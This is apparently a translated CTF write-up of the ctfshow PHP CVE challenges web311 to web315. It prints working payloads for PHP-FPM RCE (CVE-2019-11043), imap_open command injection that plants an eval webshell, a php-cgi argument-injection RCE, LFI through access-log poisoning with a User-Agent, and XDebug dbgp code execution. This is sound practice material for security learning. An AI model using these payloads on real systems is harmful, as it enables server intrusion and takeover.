ctfshow phpCVE web311-web315 wp

It may be a bit long-winded to write, record the process of doing the questions yourself

web311:CVE-2019-11043

phpCVE, open only one where is flag page, the comment only says cve

So I went to Baidu to have a look and found that this is too much. Check out the group owner's description

似曾相识,就这一个文件，不用扫描

emmm, let's grab a bag first

Packet discovery response: X-Powered-By: PHP/7.1.33dev

Then I went to search and found why the fix version of many vulnerabilities is 7.1.33. or try

Searching for php7.1.33 mainly found CVE-2019-11043, a remote code execution vulnerability

The vulnerability is located in the env_path_info function of the PHP-FPM module, and in a specific nginx + php-fpm configuration, code execution by web users is possible. The vulnerability requires specific configuration in nginx.conf to trigger. The configuration is as follows

location ~ [^/]\.php(/|$) {
    
    
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

Use %0a (newline) to break the regex, making PATH_INFO empty

Exploitation condition: nginx is configured with fastcgi_split_path_info

Affected systems: PHP 5.6-7.x, Nginx>=0.7.31

Reproduction requires golang environment

Stop by to see if the server has a golang environment, and if not, install one by the way (mainly because the server is installed fast without my traffic)

sudo apt install golang

Installation tool:

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

question:

Execute go get -v && go build and there will always be no response
because go proxy defaults to proxy.golang.org, which cannot be accessed in China.
Execute the command to change the proxy: go env -w GOPROXY=https://goproxy.cn
and execute go get -v again && go build

exploit

go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"

Then I don't know why, sometimes there is an echo when executing the command, and sometimes there is no echo when executing the command

In short, execute ?a=ls several times, and you can find that there is a fl0gHe1e.txt in the current directory

direct access

web312:CVE-2018-19518

Still grab the package first:

Server: nginx/1.21.1

X-Powered-By: PHP/5.6.38

Baidu this php version, my Baidu arrived CVE-2018-19518 (remote command execution vulnerability)

Vulnerability Introduction

The php imap extension is used to perform email sending and receiving operations in PHP. Its imap_open function will call rsh to connect to the remote shell, and debian/ubuntu uses ssh instead of rsh by default (that is, in debian series systems, the ssh command is actually executed when the rsh command is executed).
Because the third-party command can be called by setting -oProxyCommand= in the ssh command, the attacker injects this parameter through injection, which will eventually lead to a command execution vulnerability.

Affect version

PHP: 5.6.38
System: Debian/ubuntu

After reading this introduction, it is obvious that the correct loophole has been found. Baidu will find a recurring one.

exploit

Just send a package

Then base64 encode the content you want to send

First <?php @eval($_POST[mumuzi]);?>base64 encode the

Then echo "PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+" | base64 -d >/var/www/html/ma.phpbase64 encode the

get ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw

Note : If it contains + = after base64 encoding, it must be url-encoded, that is, %2b %3d. Therefore, in order to ensure that there will be no errors, it is better to url-encode the base64-encoded string obtained. The equivalent steps are base64 encoding first, then url encoding

Then replace the content of hostname withx+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

which isx+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}

Although there is an error, but visiting ma.php finds that this page already exists

successfully executed

web313:CVE-2012-1823

Still where is flag? Old rules to capture packets

This time it's X-Powered-By: PHP/5.4.1

Google found CVE-2012-1823, good guy, this topic (CGI) that has not been reproduced by catf1ag can be found in the analysis of PHP-CGI Remote Code Execution Vulnerability (CVE-2012-1823) on Pshen blog.

Because I did it once before, I directly hit the payload here.

final payload

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo system("cat /somewhere/fla9.txt"); ?>

web314: The log file contains

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    
    
    include($file);
}

It should be said that the flag is in phpinfo

Colons are filtered here, I wonder if web81 also filters colons, and even filters php and data

Then I glanced at the wp of web81 written, and tried to follow the operation.

success

Strange, why don't you say no?

Take a look at the root directory, oh flag is in the root directory

finally:

GET /?f=/var/log/nginx/access.log
UA写User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36<?php system('cat /fl6g');?>

You can visit it again after sending the package,
so what does this have to do with CVE?

web315:XDebug remote debugging vulnerability

Why is an alternate environment recommended?

PHP/7.1.12, title description: debug enabled, port 9000

So go to Baidu to debug 9000 CVE

The first one is ctfshow PHPCVE wp. . .

This is also the process of doing it yourself, so just watch it directly.

XDebug remote debugging vulnerability : https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

influence

XDebug is an extension for PHP used to debug PHP code. If the target has remote debugging mode enabled, and set remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

Under this configuration, when we access http://target/index.php?XDEBUG_SESSION_START=phpstorm, the XDebug of the target server will connect to the visitor's IP (or X-Forwarded-Forthe address specified by the header) and communicate with it through the dbgp protocol. We can execute any PHP code on the target server through the eval method provided in dbgp .

exploit

Because the dbgp protocol needs to be used to communicate with the target server, the vulnerability cannot be reproduced with the http protocol

There are scripts already written: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'

Note : Because the communication is a reverse connection process, after exp.py is started, it will actually listen to the local port 9000 (which can be specified by the -l parameter) and wait for XDebug to connect, so the server executing the script must have an external Network IP (or in the same intranet as the target server)

I have tried it several times without success. No wonder the group owner recommends the use of an alternate environment in the description.
Then ask the group to major in the standby environment
access.

So far, the phpCVE section is over